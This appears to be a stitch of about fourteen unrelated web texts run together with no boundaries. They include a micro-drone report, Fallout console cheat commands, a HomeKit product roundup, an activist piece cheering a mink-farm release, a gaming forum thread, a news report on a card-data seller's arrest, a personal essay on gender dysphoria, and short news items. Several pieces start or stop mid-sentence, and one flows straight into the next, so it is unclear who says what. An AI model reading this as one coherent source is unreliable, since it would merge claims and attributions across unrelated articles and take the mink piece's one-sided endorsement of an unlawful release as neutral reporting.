The larger version is 4.5 grams with a diameter of 39 millimetres, and the smaller one is 2 grams and 28 millimetres in diameter. To put those numbers into perspective: a South African five rand coin is 26 millimetres in diameter and 9.5 grams. A United States quarter is 24.26 millimetres in diameter and weighs 5.67 grams.
And despite its small size, the Piccolissimo can apparently carry a weight of about one gram. That doesn’t sound like a lot but it is apparently enough for a camera or atmospheric sensor. The camera option is interesting as the spinning body design would be perfect for capturing 360 degree shots.
Penn describes this creation as the “world’s smallest self-powered controllable flying vehicle” which is probably a more apt description versus calling it a simple drone. On the other hand, it was created using a motor taken from Cheerson CX-STARS quadrotor housed in a 3D printed body, so it’s close enough.
The name “Piccolissimo” is Italian for “tiniest” or “minimal” which is great, until you learn that the engineer who came up with the idea is a graduate student at Penn named Matt Piccoli. Very clever, Matt, putting your name on stuff on the sly.
[Source – 3ders.org Via PennFallout 3 and Fallout: New Vegas are both built on the Gamebryo engine, which means they share a lot of DNA. One of those shared elements is console commands, of which you can find a huge list of just below. If you’re looking to make some instant changes to your Fallout game, or perhaps – gasp – cheat, then these are the commands you need. The wasteland’s a harsh place, so we don’t blame you for trying to make things easier on yourself.
How do you enter Fallout commands?
To enter commands into Fallout 3 or Fallout: New Vegas, you’ll need to open the developer console. To do this, tap the ‘tilde’ key (~), which can be found under the ESC key on American English keyboards. If you have a UK English keyboard, then you’ll need the ‘grave’ key (`), which can be found in the same spot.
Pressing the console key will pause the game, remove the HUD, and give a text prompt (|) in the lower left corner of the screen. Simply type in a command and press enter for the effect to take place. When typing commands, replace any text surrounded by <> brackets with the required information, and do not type the brackets. Replace # with numerical values.
Fallout Cheat Commands
All Pip-Boy Markers
tmm 1
Activates all Pip-Boy markers on the map, making them visible and fast-travel locations.
Toggle Fog of War
tfow
Toggles on/off fog of war on the Pip-Boy map.
God Mode
tgm
Toggles on/off god mode, which makes the player invincible to all damage, provides unlimited ammo, carrying capacity and AP. Items do not degrade.
Demi-God Mode (New Vegas only)
tdm
Toggles on/off demi-god mode, which makes the player invincible to all damage, but does not provide unlimited ammo or any other benefits.
Kill All NPCs
killall
Kills all NPCs and creatures in the area.
Teleport
coc <cell edid>
Teleports the player to a specific cell location.
Fallout Camera Commands
Free Camera
tfc
Toggle on/off the free camera, allowing you to move the camera anywhere you please. Use tfc 1 to pause the game too.
Free Camera Movement Speed
sucsm <#>
Changes the speed for the free camera. Replace <#> with 1 for a slow camera, and up to 10 for a fast camera.
Remove HUD
tm
Toggle on/off menus and HUD.
Field of View
fov <#>
Adjusts the field of view. Default is 75, Narrow is around 40, and wide is around 90. Set the value to your own preference.
Toggle Lightbrite
tlb
Toggle on/off lightbrite mode, which increases lighting in dark areas.
Fallout Inventory Commands
Add Item to Inventory
player.additem <base_id> <amount>
Adds an item to your inventory. Items will be at ‘full health’ and undamaged.
Remove Item from Inventory
player.removeitem <base_id> <amount>
Removes an item from your inventory.
Repair Menu
player.srm
Opens the Repair Menu, which allows the player to use their Repair skill to fix items. The menu works like a merchant repair trade, but payment will be given back to the player.
Show Inventory IDs
player.showinventory
Lists the player’s inventory with item IDs.
Equip Item from Inventory
player.equipitem <object_id>
Equips an item from your inventory.
Change Weapon Health
player.setweaponhealthperc <#>
Changes the health of your currently held weapon. Replace # with a number between 1-100.
Fallout NPC Commands
For almost all NPC commands, the NPC must be targeted before typing the command. Issuing a command without a target will simply result in nothing.
Set Target
prid <ref_id>
The same as left-clicking on a target, but useful if you cannot see the target. Most NPC commands will require a target.
Teleport to NPC
player.moveto <ref_id>
Moves you across the map to an NPC.
Teleport NPC
moveto player
Moves an NPC to your character.
Add/Remove NPC Inventory Item
additem <base_id>, removeitem <base_id>
Adds or removes an item from an NPC’s inventory.
Equip NPC
equipitem <base_id>, unequipitem <base_id>
Equip or unequip an item to an NPC.
Display NPC Inventory
inv
Shows every item in an NPC’s inventory, including hidden items.
Barter Menu
sbm
Shows the barter menu, for use with NPC traders.
Restore NPC Health
resethealth
Brings an NPC back to full health.
Kill NPC
kill
Makes an NPC die.
Revive NPC
resurrect
Brings an NPC back from the dead. (Will also reroll their inventory, so previously owned items may disappear.)
Toggle Combat AI
tcai
Toggles on/off combat artificial intelligence, so NPCs are unable to fight.
Toggle AI
tai
Toggles on/off all artificial intelligence, so NPCs are unable to do anything.
Set NPC Faction
setally <factionID1> <factionID2> (0/1 optional) (0/1 optional)
Allies an NPC to a specific faction. <0> sets as an ally, <1> sets as a friend.
Set Faction as Enemy
setenemy <factionID1> <factionID2> (0/1 optional) (0/1 optional)
Sets a faction as an enemy with another faction. <0> sets an enemy, <1> sets as neutral.
Make NPC Immortal
setessential <base_id> <#>
Makes an NPC unable to die. <1> sets NPC as immortal, <0> sets NPC as mortal.
Remove/Restore NPC
disable, enable
Disable removes the NPC from the game, enable makes the NPC reappear.
Start Combat
startcombat
Starts combat with an NPC. Use command “stopcombat” to end combat, although NPC will remain hostile.
Stop NPC Hostility
setav aggression 0
Stops an NPC from being hostile towards you.
Add NPC Script
addscriptpackage <base_id>
Adds a script to the targeted NPC. For example, use id “4083b” to make an NPC follow you.
Clone an NPC
player.placeleveledactoratme <base_id>
Creates a clone of an NPC and places it by the player character.
Reset Companion Quest
resetquest <quest_id>
Reset a companion’s hire quest.
Fallout Stat Commands
Damage Stat
player.damageactorvalue <variable> <#>
Reduces a stat by a numerical value. The most typical stat variable would be ‘health’.
Set Scale
player.setscale <#.#>
Set player scale. The higher the scale, the faster and stronger you become. 1.0 is default. 0.95 is smaller, 1.1 is bigger.
Actor Values
player.getav <variable>
Provides a read-out of an NPC’s stat value. Example variables are karma and intelligence.
Set NPC Stats
player.setav <variable> <#>
Set an NPC actor’s stats to a specific numerical value.
Adjust a NPC value
player.modav <variable> <#>
Adjusts an NPC actor’s stats, up to but not exceeding the normal max values. Negative numbers lower the stat. The value you assign to # will be in addition to what the value currently is, rather than replacing the whole stat value.
Add a Perk
player.addperk <variable>
Adds a perk or a trait to your character.
Remove Perk
player.removeperk <variable>
Removes a perk or trait from your character.
Change Sex
player.sexchange
Changes your player character gender.
Change Name
shownamemenu
Opens a menu to allow player character name changes.
Change Race/Face
showracemenu
Opens a menu that will allow you to change your character’s face. Changing your face will disable perks, so they must be removed and added again manually.
Change Traits
showtraitmenu
Opens a menu to change player traits.
Change Hair
showbarbermenu
Opens a menu to change player hairstyle.
Change Facial Features
showplasticsurgeonmenu
Opens a menu to change player appearance.
Level Up
player.advlevel
Advances your character by one XP level.
Change Level
player.setlevel <#>
Set the overall level of your character.
Set Age
player.agerace <#>
Sets the age generation of your character. Replace # with -1 for child, 1 for adult, 2 for elderly person.
Grant XP
player.rewardxp <#>
Adds a specified amount of XP to the player character.
Grant Karma
player.rewardKarma <#>
Adds a specified amount of Karma to the player character.
Set Setting
setgs <string>
Sets a specific game setting, such as max level cap, or damage resistance. Setting reset each time the game is started, so need re-applying each session. Replace <string> with a setting, such as “iMaxCharacterLevel <#>”.
Fallout Item and World Commands
Delete Object
zap
Deletes the targeted item.
Set Item Scale
setScale <#>
Sets the scale of an item in the game world.
Show Item Scale
getScale
Shows a read-out of the targeted item’s scale.
Unlock
unlock
Unlocks a locked safe, door, or container. The effect can be reversed with “lock”, which can also be modified by adding a numerical value equal to the required lockpick skill. A setting of “lock 255” will be unpickable and require a key.
Activate an Item
activate
Activates a targeted item without having to locate its switch.
Delete Item
markfordelete
Deletes an item from the game world.
Get Items
player.placeatme <base_id> <stack amoun #t> <quality #>
Places an item next to the player, of specified amount and quality.
Move to Item
player.moveto <ref_id>
Move to a nearby item.
Show Crafting Menu (New Vegas only)
showrecipemenu <category>
Opens the crafting menu. Use one of the following categories: “0013b2c1” for Workbench, “0013e11a” for Reloading Bench, “0013b2c0” for Campfire, and “xx0103a0” for Vending Machine.
Set Timescale
set timescale to <#>
Sets how fast time progresses in game. A setting of 1 is real time, with 1 second in-game being 1 second in real time. The default setting is 30.
Set Game Hour
set gamehour to <time>
Sets the game hour to the specified time, and will be applied when the game is unpaused.
Fallout Quest Commands
Move to Quest Target
movetoqt
Moves player character to the quest target location.
Show Quest Log
showquestlog
Display a log of everything the player has encountered and completed in the game.
Quest Check
getqc <base id>
Checks if the current quest is complete. A result of “1” means complete, “0” means uncomplete.
Quest Reset
resetquest <base id>
Resets progress on the specified quest.
List all Objectives
sqs <base id>
Displays a list of all quest objective stages.
Get Objective
getstage <base id>
Gets the objective level of a quest.
Set Quest Objective Level
setstage <base id> <Quest Objective>
Sets a quest to a specified objective, which can be used to drop back by an objective if bugs arise.
Complete all Objectives
CompleteAllObjectives <base id>
Sets all objectives of the specified quest to ‘complete’.
List Targets
sqt
Displays a list of all the current quest targets.
Start All Quests
saq
Starts all quests.
Fallout Game Commands
Save Game
save <save name>
Saves the game using the specified description.
Load Game
load <save name>
Loads the game file with the specified description.
Quit Game
quitgame
Quits the game without using menus.
Fallout: New Vegas Reputation Commands
Add Reputation
addreputation <base_id> <variable> <amount>
Increases your reputation with a specified fraction. Replace “variable” with “0” for infamy reputation, or “1” for fame. 100 is the highest value that can be attained.
Remove Reputation
removereputation <base_id> <variable> <amount>
Removes reputation with a specified faction. Replace “variable” with “0” for infamy reputation, or “1” for fame. 0 is the lowest value that can be attained.
Set Reputation
setreputation <base_id> <variable> <amount>
Sets your reputation with a specified faction to a specific level.
Increases your reputation with a specified fraction. Replace “variable” with “0” for infamy reputation, or “1” for fame. 100 is the highest value that can be attained.
Remove from all Factions
removefromallfactions
Removes you from all factions. This will remove you from “player” faction, which can cause issues. Re-add yourself back to “player” faction with the command “player.AddToFaction 0001b2a4 1”
Set Faction Allied Status
setally <base_id_1> <base_id_2> <variable_1> <variable_2>
Sets two factions’ status with each other. Variable can either be “0” for friendly, or “1” for allied.
Set Faction Enemy Status
setenemy <base_id_1> <base_id_2> <variable_1> <variable_2>
Sets two factions’ status with each other. Variable can either be “0” for enemy, or “1” for neutral.So far all we have seen of HomeKit is promises from last June; there wasn't a way to take advantage of it until iOS 8 shipped, and even now virtually nothing utilizes HomeKit. But that's slowly starting to change, and CES 2015 was the first wave of hope for Siri-friendly home automators.
Philips
While not announcing anything at CES, Philips Hue lights are already so Apple friendly you can buy them in Apple retail stores. Philips has already stated its intention to support HomeKit, but has had nothing new to say since the release of iOS 8.
iDevices
First up, iDevices has the Switch, a block you plug in, then plug a device into and it can be controlled from your phone either with the app or using Siri to say things like "Turn on my home." There's no hub to purchase for controlling the Switch, so you can just plug it in and get Siri integration out of the box. It's a lot like using WeMo switches, but it skips the IFTTT setup steps. TMO's Bryan Chaffin posted a pic of Switch last week at CES:
iDevices Switch supports Apple's Homekit. Control your home through Siri! #CES2015 A photo posted by Bryan Chaffin (@geektells) on Jan 5, 2015 at 5:27pm PST
Elgato
There's also the Eve line of gadgets from Elgato, including door and window sensors (similar to alarm sensors), weather sensors, a water sensor for the plumbing in your house, and a smoke detector (the first Nest Protect competitor). As with a lot of CES announced items, these aren't available yet, but will be HomeKit compatible when they are released. This is an excellent setup for data junkies who want to track data over time.
Loads of data from your house, courtesy of Elgato's Eve.
iHome
iHome is also coming out with a HomeKit compatible smart plug. It is reported to ship in Q2, and come as either a US$40 one-outlet device, or a $50 version that includes a USB port.
iHome SmartPlug
Credit: iHome [via The Verge]
Incipio
Incipio, known for their cases and other mobile accessories, came out swinging with three products: $24.99 gets you either the smart outlet or light bulb adapter, a clever device that makes your regular bulb a smart bulb, and for $59.99 a power strip that includes one smart outlet. Incipio says availability is Q2 of 2015.
Incipio's Smart Outlet.
MobiLinc
Home automation company MobiLinc announced a HomeKit compatible iOS app last September, which is just a feature added to their existing MobiLinc Home app. If you are already set up with a MobiLinc hub, adding HomeKit compatible devices to your setup will "just work" since there's no extra work in the app to use them.
MobiLinc's new app now speaks fluent HomeKit.
Insteon
Pioneers of home automation Insteon have announced a HomeKit app, and also the Insteon Hub, compatible with HomeKit and available for preorder right now, with no ship date listed.
Insteon's new pre-orderable hub.
Litehouse
Litehouse is offering an already MFi certified circuit board for anyone who wishes to build their own HomeKit automation from scratch.
Wither Wemo?
It must be noted that the biggest hole in the HomeKit support list is the aforementioned Belkin and that company's WeMo product line. WeMo hardware is a prime candidate for Siri to boss around, and yet we have had no word from Belkin...until now. In a statement, Belkin noted that it is "actively engaged in bringing HomeKit compatibility to fruition in the very near future." So there is an announcement, but no timeline or details.
This is a list that will continue to evolve, so if I've missed something please let me know!carnism
More than 30,000 minks freed, carnists upset
File Photo / © Photabulous!
Doomed to a life of imprisonment and a cruel death, animal rights activists have freed thousands of minks in Minnestoa, USA
County officials are worried about the risk of injury, the 30,000 freed minks might pose "to humans and animals alike" and that "the sudden introduction of the mink poses a threat to plant life in the area" reports the Daily News.
“These nitwits think they are doing something good,” Stearns County Sheriff Don Gudmundson said Monday to the Star Tribune, referring to the animal rights advocates thought to have released these "prized fur bearing creatures".
Feigning concern for the minks, the sheriff went on to say that “some of the mink are dying from the stress or something else, we don’t know.” “A large number will starve to death. They weren’t taught to hunt by their mother. Others will get run over on the road.” “The mink don’t know where to go. They’ve never been out of their cages.”
Minks are raised on fur farms only to be killed so their pelts can be worn by carnists as a fashion trophy.
There are approximately 275 mink farms in 23 states across the USA which "produce about 3 million pelts annually" reports the Fur Commission USA, an organization advocating for US mink farmers. They claim that "great care is given to the Animals' health" and that mink farming is a 'family affair' where life "revolves around the natural reproductive cycles of the animals”.
Lang Farms estimates the loss of the 30,000 to 40,000 minks will cost them $750,000. They had a “number of people out there with nets, capturing some of them,” Gudmundson said mid afternoon Monday, but admitted to the Daily News that minks "can travel for miles and miles and miles.”
Given the option of freedom –with all the risks– or a life of incarceration, the minks have clearly made their choice. There are no reports of minks willingly returning to their former abode.
VAEver wondered what the best lighting fixtures for your bedroom are? The ones that will provide you with the proper light ambience yet enhance the style of the room at the same time? Of course, you are =) Picking a lamp that will complement the decor of a space is not necessarily a challenging task. It gets a bit tricky, though, when you have to combine a bunch of them and still stay on your style path. To sorten things out a bit, I'll be dealing with 4 different bedroom styles on this post with the hope to inspire as many of you as possible. The categories of lighting fixtures I'm choosing are table lamps for your nightstand, a pendant lamp for the ceiling and a floor lamp for a corner of the room, next to an armchair, vanity or whatever. Follow me after the jump to see what I've picked for each decor style.
The eclectic loft bedroom
Clean lines and design pieces are best suited for an eclectic space like the above. If you strive for a room with a character then the proper lighting fixtures are definitely the best thing to invest at. Statement pieces, unexpected forms and bold lines are the best choices for such a room.
The romantic cottage bedroom
Warm hues, florals and plaid, wools and silk and a view to the countryside are more than enough to bring tranquility and relaxation to the soul. When these are lit by the proper lighting sources things get way more exciting for sure. I love mixing natural rustic textures with more chic ones for a balanced country look.
The sophisticated classy bedroom
Just like the rooms coming out of a classy movie, a bedroom that brims with style and understated glamour must be accompanied by the appropriate lighting fixtures. A modern touch in smooth hues and simple lines are possibly the best choice for it.
the scandinavian stark bedroom
As seen right about everywhere these days, the black and white duality of the scandinavian design makes a bedroom strict and powerful yet sometimes cold. Industrial inspired and geometrical lamps create warm pools of light and enhance the design even when not lit.
Join the funDrag & Drop,
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Integrated Scene Builder works with the JavaFX ecosystem – official controls, community projects, and Gluon offerings including Gluon Mobile, Gluon Desktop, and Gluon CloudLink. Simple Drag & Drop user interface design allows for rapid iteration. Separation of design and logic files allows for team members to quickly and easily focus on their specific layer of application development. Supported Scene Builder is free and open source, but is backed by Gluon. Commercial support offerings are available, including training and custom consultancy services.
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License: Scene Builder 11 is licensed under the BSD license.Cynthesis Profile Joined April 2011 United States 22 Posts Last Edited: 2011-05-28 18:16:43 #1 A date. June 4th, as eSports date, or competitive gaming if you prefer. On this date we shall watch as much streams at possible. Send emails promoting eSports. Thank all programers for their hard work and their sponsors for their support. Send emails and feedback to Little App Factory, Steelseries, Stride, Razer and all the fantastic sponsors thanking them for their support and make them aware that their support is appreciated. Buy as many products as possible, if you were planning to from these companies. Send emails to all the various tournaments and watch as many as possible and thank them also. Send emails to ESPN, making them aware of competitive gaming. On this date I propose we bask in the wonderful communities we have developed. Go to your favorite programers and just tell them how much you appreciate them. But most importantly, on this day spread the word, to friends, family and coworkers this fantastic world of electronic gaming.
So spread the word, to Reddit, Team Liquid, Well Played, everywhere that I propose June 4th should be eSports Day, committed to the growth and prosperity of eSports.
Update: I chose June 4th because it is MLG, so we can direct people to MLG, also this would be yearly, not just this year, every year June 4th. "Good game does not mean good play"
Samura1Jack Profile Joined January 2011 Sweden 110 Posts Last Edited: 2011-05-28 18:07:01 #2
User was warned for this post
Edit:Because rather than a day, we should have a year for this. It should be every year. I disagree.Edit:Because rather than a day, we should have a year for this. It should be every year. "SO MANY BANELINGS *voice drowning in baneling bowels*
GummyZerg Profile Joined November 2010 United States 272 Posts #3 Is this supposed to be like V for Vendetta but with starcraft? AHHH PLAYGGGUUUUU
Tennet Profile Joined January 2010 United States 1458 Posts Last Edited: 2011-05-28 18:16:13 #4 Why do it one day a year when we could be dedicated enough to do it all the time? "The harder it gets, the more you need to focus on the basics." - Seo Gyung Jong
TheBatman Profile Joined January 2011 United States 209 Posts Last Edited: 2011-05-28 18:05:47 #5 And together we shall take over the world!
All will fall under us, even Peter Pan.
Steel Profile Blog Joined April 2010 Japan 2279 Posts #6 Sorry I work on friday Try another route paperboy.
Cynthesis Profile Joined April 2011 United States 22 Posts #7 Naw, I'm serious, lets gather around a date to support eSports. "Good game does not mean good play"
Steel Profile Blog Joined April 2010 Japan 2279 Posts #8 On May 29 2011 03:05 Cynthesis wrote:
Naw, I'm serious, lets gather around a date to support eSports.
Make it a weekend day
Like June 4th
I'll go to bed right after work, wake up at midnight and go to bed at midnight the next day.
Watching/playing sc2 all day...i'm down. Make it a weekend dayLike June 4thI'll go to bed right after work, wake up at midnight and go to bed at midnight the next day.Watching/playing sc2 all day...i'm down. Try another route paperboy.
Wrongspeedy Profile Blog Joined August 2010 United States 1586 Posts #9 On May 29 2011 03:06 Steel wrote:
Show nested quote +
On May 29 2011 03:05 Cynthesis wrote:
Naw, I'm serious, lets gather around a date to support eSports.
Make it a weekend day
Like June 4th
I'll go to bed right after work, wake up at midnight and go to bed at midnight the next day.
Watching/playing sc2 all day...i'm down. Make it a weekend dayLike June 4thI'll go to bed right after work, wake up at midnight and go to bed at midnight the next day.Watching/playing sc2 all day...i'm down.
Not enough time sir.
And to the OP, why July 3rd? Not enough time sir.And to the OP, why July 3rd? It is better to be a human dissatisfied than a pig satisfied; better to be Socrates dissatisfied than a fool satisfied.- John Stuart Mill
LaSt)ChAnCe Profile Blog Joined June 2005 United States 2176 Posts #10 we will be too busy at mlg to watch streams
Cynthesis Profile Joined April 2011 United States 22 Posts #11 Update: I miss wrote the date, I meant June, for MLG at same time, so any newcomers will be able to see a live tournment, I also swtiched to the 4th because it is a weekend. I miss wrote the date, I meant June, for MLG at same time, so any newcomers will be able to see a live tournment, I also swtiched to the 4th because it is a weekend. "Good game does not mean good play"
Cynthesis Profile Joined April 2011 United States 22 Posts #12 I disagree.
User was warned for this post
Edit:Because rather than a day, we should have a year for this. It should be every year.
Yes, every year June 4th Yes, every year June 4th "Good game does not mean good play"
Tsuki.eu Profile Joined May 2011 Portugal 1029 Posts #13 i like the ideaªª
LaSt)ChAnCe Profile Blog Joined June 2005 United States 2176 Posts #14 On May 29 2011 03:09 Cynthesis wrote:
Update: I miss wrote the date, I meant June, for MLG at same time, so any newcomers will be able to see a live tournment, I also swtiched to the 4th because it is a weekend. I miss wrote the date, I |
s.
Back in 2009, Volkswagen introduced its Amarok midsize pickup, and during the run-up to that model, there was some discussion of bringing it to US, the largest pickup market in the world. In the end, VW decided it wasn't a good fit, but that hasn't stopped the Amarok from becoming successful in other markets around the globe.That success, and renewed interest in the midsize segment, has put the pickup truck discussion back on the table at VW, with North American CEO Michael Horn telling Autoblog, "It's a question mark, but it starts to be discussed. Let's put it this way: we start to discuss it again and whether it's attractive for us." But those talks may not be about the current truck – "The Amarok is too small for the US," says Horn. Dr. Heinz-Jakob Neußer, head of VW Group powertrain development, echoed his colleague's sentiment at the same Geneva Motor Show roundtable, saying "We are just reworking our truck strategy, and this is part of thinking about it. But the Amarok fits not very well to the efforts of the market."It's not immediately clear if this means that VW will consider resizing its next-generation Amarok to fit US tastes, or if it is pondering developing a different model altogether. In either case, it's obvious that VW's load-lugging musings remain theoretical and a point of research – it doesn't sound like anything has been given the green light.An alleged old-timer in the international carding community and one of the top sellers of stolen bank card data has been arrested in France, and faces extradition to the United States on an indictment unsealed Wednesday in Washington, D.C.
Vladislav Anatolievich Horohorin, 27, aka BadB, holds dual-citizenship in Ukraine and Israel and was one of the earliest members of CarderPlanet, a first of its kind Russian-language carding forum that was launched around 2002 by a group of East Europeans. CarderPlanet was shuttered in 2004, and BadB had more recently been selling his stolen goods at carder.su and on his own websites, dumps.name and badb.biz, where he promoted his product in lighthearted Flash cartoons like the one above.
Authorities say the network created by Horohorin and other CarderPlanet veterans is linked to “nearly every major intrusion of financial information reported to the international law enforcement community.”
According to the indictment, Horohorin bragged online that he was one of the biggest sellers of “dumps” (account and other data stored on a bank card’s magnetic stripe) and had been a card seller for about eight years. Undercover agents from the U.S. Secret Service negotiated purchases of stolen data from him and worked with French authorities to arrest him.
On dumps.name, one of the sites linked to Horohorin, a note pleaded to fellow cyber crooks for a little courtesy. “If you think you have found some bug, xss or another vuln here and you’re thinking of hacking, please think about one thing — how much time a lot of people spent here to get the dumps, to make this shop available for underground.” The site offered to pay hackers for vulnerabilities they found if they wouldn’t use them to breach the site and steal the card data on sale there.
A list of rules and regulations on his badb.biz site called on members to show respect for site moderators and peers and said that “coarse language would only be allowed under exceptional circumstances.” BadB warned against untrustworthy sorts on the site and said he’d once been “set up by my own family members, no need for names.”
“Do not lend your money to your friends,” he wrote in 2006 on the site, adding, “only dead can be trusted.”
Horohorin was indicted in the United States last November 2009 on charges of access device fraud and aggravated identity theft and was arrested in Nice, France, while boarding a flight to Russia. He’s being held in France pending extradition to the U.S. He faces a maximum sentence of 10 years in prison and a $250,000 fine if convicted on the access device fraud charge, and an additional 2 years in prison and a fine of up to $250,000 if convicted of the identity theft charge.
See also:I Do Not Have a Mental Disorder
Galen Mitchell Blocked Unblock Follow Following Aug 8, 2017
About a year and a half ago a new condition was added to my medical record, “Gender Dysphoria.”
For those who aren’t aware, “Gender Dysphoria” is a diagnosis in the Diagnostic and Statistical Manual for Mental Disorders, Fifth Edition (DSM-V). “Gender Dysphoria” replaced the older diagnosis of “Gender Identity Disorder” that was present starting in the DSM-III released in 1980. This change was prompted by the recognition that transgender people are not automatically disordered. In fact, according to the DSM-V, it is only the distress and pain that can sometimes accompany transgender identities that can be said to be a disorder.
By the time I was labeled as having “Gender Dysphoria,” I had been experiencing distress and pain regarding my gender for over 24 years.
As a result, “gender dysphoria” seemed like the perfect term to describe my feelings at the time. The term recognized and validated my experiences. On top of that, having “Gender Dysphoria” on my medical record had a real practical benefit: I could finally pursue medical transition with the support of a professional.
Photo by Ted Eytan (CC BY-SA 2.0)
Medical transition, even if I didn’t fully admit it to myself when I first talked to my therapist, was my ultimate goal in finally talking to someone about my feelings. Getting emotional support was beneficial, but I had known for a long time that my difficulty wasn’t about my emotions, but rather the fact that my gender and my sex did not align. Talking to a therapist was simply how I had to go about getting access to the things that would help me solve that underlying issue.
When I finally got the diagnosis of “Gender Dysphoria,” I was excited that my feelings had been validated and I that would be given access to hormone replacement therapy (HRT). I was also uncomfortable with the fact that because of those feelings, I was being labeled with a “mental disorder.”
This mixed-bag of emotions came from the fact I was familiar with what are now called the WPATH Standards of Care outlining “best practice” in the treatment of trans people starting in the early 2000s. So, I understood that reducing a foundational part of who I am to a disorder was a necessary evil if I was going to get access to medical interventions. In order to get what I needed, I knew I had to navigate the system — a system based on transphobia and gatekeeping — even if it meant bearing an inaccurate label.
However, the closer I get to solving the the underlying cause of the dysphoria I experience, and having “Gender Dysphoria” removed from my medical record, the angrier I get that getting access to the things I and other trans people need requires being labeled with a mental disorder.
I do not have a mental disorder.
I do not say this out of some sort of mentalism, which often arises in situations like this when people think that having a mental disorder makes you “lesser” than someone without one. I have a great empathy for those who have mental disorders. In being labeled with one, I have come to understand — to some extent — what it is like for others to think of you as “crazy,” or “mentally ill,” and for them to use those labels to disparage, insult, and devalue you.
No, my issue is of a more technical and philosophical nature.
With regard to “Gender Dysphoria,” I have to say that if the pain and distress that I have experienced related to my gender and sex has ever reached levels at which it could be considered a mental disorder, it is not because of any intrinsic fact about me or my mental function.
Photo by Porsche Brosseau (CC BY 2.0)
Almost all the pain and distress I have experienced related to my gender and sex has been the result of society systematically discriminating against people like me. Had I grown up in a society that embraced me, I would not have found myself at age four sobbing and praying to god that I was a girl — because I would have been empowered and supported in self-advocacy long before then. Additionally, my discomfort with the sex characteristics of my body would have been mostly prevented — because I would have been given access to the medical interventions and resources necessary to ensure my body developed correctly earlier.
In this context, the distress and pain that has led me to be labeled with a disorder can be put down almost entirely to the fact that I am a minority in a majority culture that has a rich and varied history of hating people who are different. So, if anyone can truly be said to suffer from “Gender Dysphoria,” it is society at large.
Further, even though “Gender Identity Disorder” is no longer present in the DSM-V, it is important to note that the bare fact of being trans — regardless of the presence of distress — does not mean that you have a mental disorder.
Continued research has failed to show that there is any chemical imbalance or dysfunction present in the brains of trans people who otherwise have no health concerns (either mental or otherwise). What the research does show is that being trans is likely an issue of genetic and congenital variation related to sexual development that causes the sex characteristics of trans brains and bodies to be out of alignment.¹
Given this, labeling trans minds (or more specifically, trans brains) as disordered as opposed to anything else relies on nothing more than cissexism — the belief that cisgender people and identities are better than transgender people and identities.
Now, some within the trans community might object to my statement that trans people do not have a mental disorder — either due to distress or the bare fact of being trans — because such a position might jeopardize access to the healthcare many of us need and want
To this I have two responses.
First, treatment has been shown to improve the health (both mental and otherwise) of trans folks. Tying this treatment to a mental disorder is ultimately unnecessary, and only serves cissexist beliefs through gatekeeping. Trans people should be given access to the care they need and want because it helps to ensure their continued health, not because they have been labeled with a mental disorder.
Second, for those of us who do feel strongly that our bodies are at odds with our brains, I see no reason that such a state couldn’t be classified, if absolutely necessary, as a physical disorder or something similar to a disorder of sexual development. After all, that’s where the research points, and such a diagnosis agrees with the issue as experienced and expressed by trans folks.
I personally tried for 24 years to fix my mind until I finally realized that my mind and my identity was never the problem. And, it is only when I accepted this fact that I was able focus on the actual problem — my body’s sex characteristics — and make progress.BEIJING — A day after the forced removal of a passenger from a United Airlines flight provoked a social media furor in the United States, a similar outcry followed in China, after state-run news outlets here described the man as being of Chinese descent.
Long before the man’s name was widely known, another passenger on the flight on Sunday said that he had complained of being singled out because he was Chinese. The passenger, Dr. David Dao, was later identified publicly by his lawyers.
By Wednesday morning, the hashtag “United forcibly removes passenger from plane” was the most popular topic on Weibo, China’s equivalent of Twitter, garnering more than 550 million views and more than 240,000 comments. Many Chinese social media users accused United of racism, while others called for a boycott.
The outrage was furious and sustained over the passenger’s being dragged from his seat by security officers after refusing to be bumped from an overbooked flight from Chicago to Louisville, Ky.Jameis Winston continues to stockpile accolades, even when the sport isn't football.
Winston, the reigning Heisman Trophy winner for national champion Florida State, has been named to Baseball America's preseason All-America third team as a utility player.
As a freshman last season, Winston was a two-way player for the Seminoles, making 32 starts in the field as well as 17 relief appearances.
At the plate, he hit.235 with seven doubles, three triples and 21 runs scored. Winston made 22 starts in the outfield and 10 at designated hitter.
On the mound, the right-hander went 1-2 with a 3.00 ERA and two saves, striking out 21 batters in 27 innings. His fastball can touch 95 mph.
"We will use Jameis just like we do everybody else," coach Mike Martin said last month. "We're not going to treat him any differently, and he doesn't want to be treated any differently. He's a Seminole baseball player now. We're going to use him in the outfield, we're going to use him on the mound, we're going to use him as a DH some.
"But we want him to be our closer when it's all said and done. That's what we're going to prepare him to be."
After leading the Seminoles to the BCS national title last month, Winston said he welcomed the opportunity to play baseball for FSU again despite his elevated celebrity after a football season that saw him capture a host of major awards.
Jameis Winston made 17 relief appearances last season, going 1-2 with a 3.00 ERA and two saves. Stephen M. Dowell/Orlando Sentinel/MCT/Getty
"It keeps me busy instead of dealing with all the outside stuff and dealing with everything coming my way," Winston said. "I keep playing sports, and I've got to keep my grades up, so I won't be focused on any outside things."
Baseball America chooses its preseason All-America teams based on "performance, talent and professional potential."
Winston was selected by the Texas Rangers in the 15th round of the 2012 MLB draft. He's the 20th-ranked sophomore prospect, according to Baseball America.
The Seminoles, ranked sixth in Baseball America's preseason poll, open the season Feb. 14 against Niagara.
Information from The Associated Press was used in this report.[Editor’s Note: We came across information related to this unique clean energy project as we were researching material related to the ongoing earthquake and tsunami devastation in Japan. Our hearts go out to all of those impacted by this tragedy of all tragedies. The fate of those who were in attendance at this unveiling only days before the earthquake, as well as that of the project itself, are unknown at the time this story was published.]
The small city of Maebashi, Japan, is located a little ways outside of Tokyo. At the base of Mt. Akagi, it is described, two rivers flow through the heart of this town, creating not only a beautiful setting but also a strong potential for use of hydroelectricity. A small scale clean energy project going on here is looking to address a compliant many have about how dirty coal often fuels the electricity needed to charge electric vehicles.
As reported by the Denki Shimbun, a small 0.5 kW hydroelectric generator has been settled into a stream going by a school. This generator is creating clean electricity that is being used for an EV charging system that looks to be hooked up directly to it. This system, incidentally, is free to the public for use, at least for the time being. Maebashi looks to be conducting other experiments with small scale hydroelectricity as well.
While it isn’t fully clear if this EV charging system in Maebashi only relies upon hydroelectric, or how long it takes to charge one electric vehicle like a Nissan Leaf, the obvious implications here are that it is possible to directly use a renewable energy source to power the green cars of tomorrow. And for that, we should all be happy.November 25, 1487 – Elizabeth of York Crowned
Elizabeth of York was crowned a little more than two years after her husband, Henry VII. Although she was widely regarded as the Yorkist heir to the throne, Henry did not want to condition his legitimacy on her claim so he insisted on being crowned himself before their marriage – and then Elizabeth’s coronation had to wait because she was pregnant with their first child (Prince Arthur was born on September 20, 1486).
